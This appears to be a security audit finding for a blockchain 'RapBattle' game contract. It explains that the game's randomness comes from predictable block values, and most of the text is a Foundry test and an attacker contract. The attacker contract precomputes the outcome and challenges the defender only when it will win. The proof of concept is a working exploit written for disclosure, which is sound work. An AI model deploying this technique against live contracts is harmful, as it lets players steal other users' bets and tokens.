Users can write a contract that checks what the random number will be and challenge the defender only if they will be the winner.
{
function testPseudoRandomness(uint256 randomBlock) public twoSkilledRappers {
uint256 challengerAmountBet = 3;
uint256 challengerTokenId = 1;
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
console.log("User allowance before battle:", cred.allowance(user, address(rapBattle)));
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
CheckRandomness checkRandomness = new CheckRandomness(rapBattle, challengerTokenId , cred, oneShot);
oneShot.approve(address(checkRandomness), challengerTokenId);
cred.approve(address(checkRandomness), challengerAmountBet);
vm.roll(randomBlock);
vm.recordLogs();
checkRandomness.attack();
console.log("User allowance before battle:", cred.allowance(challenger, address(rapBattle)));
vm.stopPrank();
assert(cred.balanceOf(challenger) >= 4);
}
}
contract CheckRandomness {
RapBattle public immutable rapBattle;
Credibility public immutable cred;
OneShot public immutable oneShot;
uint256 public immutable tokenId;
uint256 public random;
constructor(RapBattle _rapBattle, uint256 _tokenId, Credibility _cred, OneShot _oneShot) {
rapBattle = _rapBattle;
tokenId = _tokenId;
cred = _cred;
oneShot = _oneShot;
}
function attack() public {
address defender = rapBattle.defender();
if (defender != address(0)) {
uint256 defenderTokenId = rapBattle.defenderTokenId();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this))))
% totalBattleSkill;
uint256 defenderBet = rapBattle.defenderBet();
if (random > defenderRapperSkill) {
oneShot.transferFrom(msg.sender, address(this), tokenId);
cred.transferFrom(msg.sender, address(this), defenderBet);
oneShot.approve(address(rapBattle), tokenId);
cred.approve(address(rapBattle), defenderBet);
rapBattle.goOnStageOrBattle(tokenId, defenderBet);
cred.transfer(msg.sender, defenderBet * 2);
oneShot.transferFrom(address(this), msg.sender, tokenId);
} else {
console.log("Not calling anything!");
}
}
}
}
Very high impact - could predict the outcome of a game and participate in it only if they are the winners - cheating the game and the defender